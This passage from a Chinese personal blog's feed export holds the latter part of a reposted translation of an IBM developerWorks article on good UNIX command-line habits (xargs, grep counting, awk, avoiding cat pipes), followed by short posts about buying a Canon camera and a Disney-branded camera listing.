mkdirhier.sh&lt;br /&gt;~/tmp $ &lt;span class="boldcode"&gt;ls -1 | xargs file&lt;/span&gt;&lt;br /&gt;December_Report.pdf: PDF document, version 1.3&lt;br /&gt;README: ASCII text&lt;br /&gt;a: directory&lt;br /&gt;archive.tar: POSIX tar archive&lt;br /&gt;mkdirhier.sh: Bourne shell script text executable&lt;br /&gt;~/tmp $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;&lt;code&gt;xargs&lt;/code&gt; 命令不只用于传递文件名。您还可以在需要将文本筛选到单个行中的任何时候使用它：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing16"&gt;&lt;b&gt;清单 16. 好习惯 7 的示例：使用 xargs 工具来将文本筛选到单个行中&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~/tmp $ &lt;span class="boldcode"&gt;ls -l | xargs&lt;/span&gt;&lt;br /&gt;-rw-r--r-- 7 joe joe 12043 Jan 27 20:36 December_Report.pdf -rw-r--r-- 1 \&lt;br /&gt;root root 238 Dec 03 08:19 README drwxr-xr-x 38 joe joe 354082 Nov 02 \&lt;br /&gt;16:07 a -rw-r--r-- 3 joe joe 5096 Dec 14 14:26 archive.tar -rwxr-xr-x 1 \&lt;br /&gt;joe joe 3239 Sep 30 12:40 mkdirhier.sh&lt;br /&gt;~/tmp $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;  &lt;p&gt;&lt;a name="N102F9"&gt;&lt;span class="smalltitle"&gt;谨慎使用 xargs&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;从技术上讲，使用 &lt;code&gt;xargs&lt;/code&gt; 很少遇到麻烦。缺省情况下，文件结束字符串是下划线 (_)；如果将该字符作为单个输入参数来发送，则它之后的所有内容将被忽略。为了防止这种情况发生，可以使用 &lt;code&gt;-e&lt;/code&gt; 标志，它在不带参数的情况下完全禁用结束字符串。&lt;/p&gt; &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="eight"&gt;&lt;span class="atitle"&gt;了解何时 grep 应该执行计数——何时应该绕过&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;避免通过管道将 &lt;code&gt;grep&lt;/code&gt; 发送到 &lt;code&gt;wc -l&lt;/code&gt; 来对输出行数计数。&lt;code&gt;grep&lt;/code&gt; 的 &lt;code&gt;-c&lt;/code&gt; 选项提供了对与特定模式匹配的行的计数，并且一般要比通过管道发送到 &lt;code&gt;wc&lt;/code&gt; 更快，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing17"&gt;&lt;b&gt;清单 17. 好习惯 8 的示例：使用和不使用 grep 的行计数&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;time grep and tmp/a/longfile.txt | wc -l&lt;/span&gt;&lt;br /&gt;2811&lt;br /&gt;&lt;br /&gt;real    0m0.097s&lt;br /&gt;user    0m0.006s&lt;br /&gt;sys     0m0.032s&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;time grep -c and tmp/a/longfile.txt&lt;/span&gt;&lt;br /&gt;2811&lt;br /&gt;&lt;br /&gt;real    0m0.013s&lt;br /&gt;user    0m0.006s&lt;br /&gt;sys     0m0.005s&lt;br /&gt;~ $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;除了速度因素外，&lt;code&gt;-c&lt;/code&gt; 选项还是执行计数的好方法。对于多个文件，带 &lt;code&gt;-c&lt;/code&gt; 选项的 &lt;code&gt;grep&lt;/code&gt; 返回每个文件的单独计数，每行一个计数，而针对 &lt;code&gt;wc&lt;/code&gt; 的管道则提供所有文件的组合总计数。&lt;/p&gt; &lt;p&gt;然而，不管是否考虑速度，此示例都表明了另一个要避免地常见错误。这些计数方法仅提供&lt;i&gt;包含匹配模式的行数&lt;/i&gt;——如果那就是您要查找的结果，这没什么问题。但是在行中具有某个特定模式的多个实例的情况下，这些方法无法为您提供实际匹配&lt;i&gt;实例数量&lt;/i&gt; 的真实计数。归根结底，若要对实例计数，您还是要使用 &lt;code&gt;wc&lt;/code&gt; 来计数。首先，使用 &lt;code&gt;-o&lt;/code&gt; 选项（如果您的版本支持它的话）来运行 &lt;code&gt;grep&lt;/code&gt; 命令。此选项&lt;i&gt;仅&lt;/i&gt; 输出匹配的模式，每行一个模式，而不输出行本身。但是您不能将它与 &lt;code&gt;-c&lt;/code&gt; 选项结合使用，因此要使用 &lt;code&gt;wc -l&lt;/code&gt; 来对行计数，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing18"&gt;&lt;b&gt;清单 18. 好习惯 8 的示例：使用 grep 对模式实例计数&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;grep -o and tmp/a/longfile.txt | wc -l&lt;/span&gt;&lt;br /&gt;3402&lt;br /&gt;~ $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;在此例中，调用 &lt;code&gt;wc&lt;/code&gt; 要比第二次调用 &lt;code&gt;grep&lt;/code&gt; 并插入一个虚拟模式（例如 &lt;code&gt;grep -c&lt;/code&gt;）来对行进行匹配和计数稍快一点。&lt;/p&gt; &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="nine"&gt;&lt;span class="atitle"&gt;匹配输出中的某些字段，而不只是对行进行匹配&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;当您只希望匹配输出行中&lt;i&gt;特定字段&lt;/i&gt; 中的模式时，诸如 &lt;code&gt;awk&lt;/code&gt; 等工具要优于 &lt;code&gt;grep&lt;/code&gt;。&lt;/p&gt; &lt;p&gt;下面经过简化的示例演示了如何仅列出 12 月修改过的文件。&lt;/p&gt; &lt;br /&gt;&lt;a name="listing19"&gt;&lt;b&gt;清单 19. 坏习惯 9 的示例：使用 grep 来查找特定字段中的模式&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~/tmp $ &lt;span class="boldcode"&gt;ls -l /tmp/a/b/c | grep Dec&lt;/span&gt;&lt;br /&gt;-rw-r--r--  7 joe joe  12043 Jan 27 20:36 December_Report.pdf&lt;br /&gt;-rw-r--r--  1 root root  238 Dec 03 08:19 README&lt;br /&gt;-rw-r--r--  3 joe joe   5096 Dec 14 14:26 archive.tar&lt;br /&gt;~/tmp $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;在此示例中，&lt;code&gt;grep&lt;/code&gt; 对行进行筛选，并输出其修改日期和名称中带 &lt;code&gt;Dec&lt;/code&gt; 的所有文件。因此，诸如 December_Report.pdf 等文件是匹配的，即使它自从一月份以来还未修改过。这可能不是您希望的结果。为了匹配特定字段中的模式，最好使用 &lt;code&gt;awk&lt;/code&gt;，其中的一个关系运算符对确切的字段进行匹配，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing20"&gt;&lt;b&gt;清单 20. 好习惯 9 的示例：使用 awk 来查找特定字段中的模式&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~/tmp $ &lt;span class="boldcode"&gt;ls -l | awk '$6 == "Dec"'&lt;/span&gt;&lt;br /&gt;-rw-r--r--  3 joe joe   5096 Dec 14 14:26 archive.tar&lt;br /&gt;-rw-r--r--  1 root root  238 Dec 03 08:19 README&lt;br /&gt;~/tmp $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;有关如何使用 &lt;code&gt;awk&lt;/code&gt; 的更多详细信息，请参见&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#resources"&gt;参考资料&lt;/a&gt;。&lt;/p&gt; &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="ten"&gt;&lt;span class="atitle"&gt;停止对 cat 使用管道&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;code&gt;grep&lt;/code&gt; 的一个常见的基本用法错误是通过管道将 &lt;code&gt;cat&lt;/code&gt; 的输出发送到 &lt;code&gt;grep&lt;/code&gt; 以搜索单个文件的内容。这绝对是不必要的，纯粹是浪费时间，因为诸如 &lt;code&gt;grep&lt;/code&gt; 这样的工具接受文件名作为参数。您根本不需要在这种情况下使用 &lt;code&gt;cat&lt;/code&gt;，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing21"&gt;&lt;b&gt;清单 21. 好习惯和坏习惯 10 的示例：使用带和不带 cat 的 grep&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt; &lt;br /&gt;~ $ &lt;span class="boldcode"&gt;time cat tmp/a/longfile.txt | grep and&lt;/span&gt;&lt;br /&gt;2811&lt;br /&gt;&lt;br /&gt;real    0m0.015s&lt;br /&gt;user    0m0.003s&lt;br /&gt;sys     0m0.013s&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;time grep and tmp/a/longfile.txt&lt;/span&gt;&lt;br /&gt;2811&lt;br /&gt;&lt;br /&gt;real    0m0.010s&lt;br /&gt;user    0m0.006s&lt;br /&gt;sys     0m0.004s&lt;br /&gt;~ $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;此错误存在于许多工具中。由于大多数工具都接受使用连字符 (-) 的标准输入作为一个参数，因此即使使用 &lt;code&gt;cat&lt;/code&gt; 来分散 &lt;code&gt;stdin&lt;/code&gt; 中的多个文件，参数也通常是无效的。仅当您使用带多个筛选选项之一的 &lt;code&gt;cat&lt;/code&gt; 时，才真正有必要在管道前首先执行连接。&lt;/p&gt; &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="N10415"&gt;&lt;span class="atitle"&gt;结束语：养成好习惯&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;最好检查一下您的命令行习惯中的任何不良的使用模式。不良的使用模式会降低您的速度，并且通常会导致意外错误。本文介绍了 10 个新习惯，它们可以帮助您摆脱许多最常见的使用错误。养成这些好习惯是加强您的 UNIX 命令行技能的积极步骤。&lt;/p&gt; &lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="resources"&gt;&lt;span class="atitle"&gt;参考资料 &lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;b&gt;学习&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;"&lt;a href="http://www.ibm.com/developerworks/aix/library/au-unix-fsoft.html"&gt;Use free software within commercial UNIX&lt;/a&gt;" （developerWorks，2006 年 2 月）是一个有关在商业性专用 UNIX 实现上使用众多开放源代码软件的简短入门读物。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;"&lt;a href="http://www.ibm.com/developerworks/cn/views/aix/tutorials.jsp?cv_doc_id=153702"&gt;在 Bash shell 中工作&lt;/a&gt;"（developerWorks，2006 年 5 月）提供了关于流行的 Bash Shell 的介绍性教程。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;"&lt;a href="http://www.ibm.com/developerworks/cn/views/aix/tutorials.jsp?cv_doc_id=172390"&gt;GAWK 入门：AWK 语言基础&lt;/a&gt;"（developerWorks，2006 年 9 月）介绍了如何使用 AWK 语言来操作文本。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;"&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-expressions.html"&gt;磨练构建正则表达式模式的技能&lt;/a&gt;"（developerWorks，2006 年 7 月）描述了使用 &lt;code&gt;grep&lt;/code&gt; 的更有用的方法。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;访问 developerWorks &lt;a href="http://www.ibm.com/developerworks/cn/aix"&gt;AIX and UNIX 专区&lt;/a&gt;以获取提高您的技能所需的资源。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;您是 AIX 和 UNIX 新手吗？请访问&lt;a href="http://www.ibm.com/developerworks/aix/cn/newto"&gt;“AIX and UNIX 新手入门”页&lt;/a&gt;以了解更多信息。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;浏览&lt;a href="http://www.ibm.com/developerworks/apps/SendTo?bookstore=safari"&gt;技术书店&lt;/a&gt;，以了解有关这些技术主题及其他技术主题的相关书籍。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;获得产品和技术&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;若要获得 &lt;code&gt;mkdirhier&lt;/code&gt; 的副本，您可以从 &lt;a href="http://darcs.haskell.org/ghc/utils/mkdirhier/"&gt;Haskell compiler&lt;/a&gt; 下载某个版本。&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;讨论&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/podcast"&gt;播客&lt;/a&gt;：收听播客并与 IBM 技术专家保持同步。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;访问 &lt;a href="http://www.ibm.com/developerworks/blogs"&gt;developerWorks 博客&lt;/a&gt;，从而加入到 &lt;a href="http://www.ibm.com/developerworks/community"&gt;developerWorks 社区&lt;/a&gt;中来。&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="author"&gt;&lt;span class="atitle"&gt;关于作者&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan="3"&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" height="5" width="100%" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="left" valign="top"&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" height="5" width="4" /&gt;&lt;/td&gt;&lt;td width="100%"&gt;&lt;p&gt;Michael Stutz 是 &lt;a href="http://dsl.org/"&gt;&lt;i&gt;The Linux Cookbook&lt;/i&gt;&lt;/a&gt; 一书的作者，他仅使用开放源码软件对该书进行了设计和排版。他的研究兴趣包括数字出版和图书的发展未来。他使用各种 UNIX 操作系统已有 20 多年。您可以通过 &lt;a href="mailto:stutz@dsl.org?cc="&gt;stutz@dsl.org&lt;/a&gt; 与他联系。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-5556566634672647778?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn' title='UNIX 高手的 10 个习惯'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/5556566634672647778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=5556566634672647778' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5556566634672647778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5556566634672647778'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/unix-10.html' title='UNIX 高手的 10 个习惯'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-3355488680206408700</id><published>2007-02-11T22:43:00.000+08:00</published><updated>2008-11-13T23:05:00.729+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>终于买了个数码相机！佳能 A710 IS</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_1h04B4owCeY/Rc8u76RxKrI/AAAAAAAAABw/1S5DvNSO7jI/s1600-h/IMG_0012.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_1h04B4owCeY/Rc8u76RxKrI/AAAAAAAAABw/1S5DvNSO7jI/s320/IMG_0012.jpg" alt="" id="BLOGGER_PHOTO_ID_5030290915587074738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;今天下午买了，在绿森，找了半天才找到地方。&lt;br /&gt;如下：&lt;br /&gt;A710IS（含发票）＋东芝高速 2GB SD卡＋瑞能2300毫安充电套装＋相机包＋2.5英寸保护贴＋延长1年保修期＋高速SD读卡器=2550￥&lt;br /&gt;&lt;br /&gt;上门取的货，还送了个清洁套装~&lt;br /&gt;&lt;br /&gt;下午去清华一阵乱拍，感觉还不错，哈哈~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-3355488680206408700?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/3355488680206408700/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=3355488680206408700' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3355488680206408700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3355488680206408700'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/a710-is.html' title='终于买了个数码相机！佳能 A710 IS'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_1h04B4owCeY/Rc8u76RxKrI/AAAAAAAAABw/1S5DvNSO7jI/s72-c/IMG_0012.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-2366795004891250564</id><published>2007-02-10T23:53:00.000+08:00</published><updated>2007-02-11T00:06:17.367+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Digital'/><title type='text'>迪斯尼系列数码相机（Canon）</title><content type='html'>迪斯尼系列数码相机（Canon）&lt;br /&gt;&lt;table class="main_tdbg_575" style="" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2" id="fontzoom" style="" height="300" valign="top"&gt;&lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;img onmousewheel="return bbimg(this)" src="http://www.youcom.cn/Article/UploadFiles/200608/20060822145327214.jpg" onload="javascript:resizepic(this)" border="0" height="260" width="260" /&gt;&lt;br /&gt;Disney是孩子和女性们向往和深爱的乐园。Canon出的这款相机就捕捉了这个流行因素，米老鼠的头像成为了主题，加上亮丽的颜色，相信一定会受到大家的欢迎。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;参数：&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;●尺寸：约9.6*4.5*2.4cm&lt;br /&gt;●重量：约105g&lt;br /&gt;●约500万像素&lt;br /&gt;●光学2.4倍变焦距镜头&lt;br /&gt;●约4.0倍的数码的变焦距镜头(和光学变焦距镜头相协调，最大约10倍)&lt;br /&gt;●1.8型低温聚乙烯硅TFT液晶彩色监视器&lt;br /&gt;●记录媒体SD记忆卡/多媒体卡&lt;br /&gt;●支持PictBridge/CP直接/Bubble Jet直接,并且支持ExifPrint&lt;br /&gt;●对应操作系统/Windows 98SE,Me,2000(SP4),XP,Mac OS X(v10.2～v10.4)&lt;br /&gt;●附件：吊带、电池盒、AC适配器、遥控、接口缆、AV缆、软件（CD-ROM）、多媒体卡(16MB)。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;联系人：Snow  Liu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;联系电话：01064392118,01064392299-532,&lt;br /&gt;        01086530706,01081925167&lt;br /&gt;传真:01064391935&lt;br /&gt;邮件：subaru@eleva.cn,&lt;br /&gt;   eleva@eleva.cn&lt;br /&gt;24小时在线咨询服务(http://online.youcom.cn/default.aspx)&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-2366795004891250564?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.youcom.cn/article/gaoke/2006-08-22/1321.html' title='迪斯尼系列数码相机（Canon）'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/2366795004891250564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=2366795004891250564' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2366795004891250564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2366795004891250564'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/canon.html' title='迪斯尼系列数码相机（Canon）'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-135654995573348861</id><published>2007-02-10T23:50:00.000+08:00</published><updated>2007-02-11T00:14:25.011+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Digital'/><title type='text'>孩子也玩摄影迪斯尼发售三款儿童相机</title><content type='html'>&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;孩子也玩摄影 迪斯尼发售三款儿童相机 &lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;&lt;span style="color: rgb(102, 0, 102);"&gt;说到儿童数码相机，就会有人置 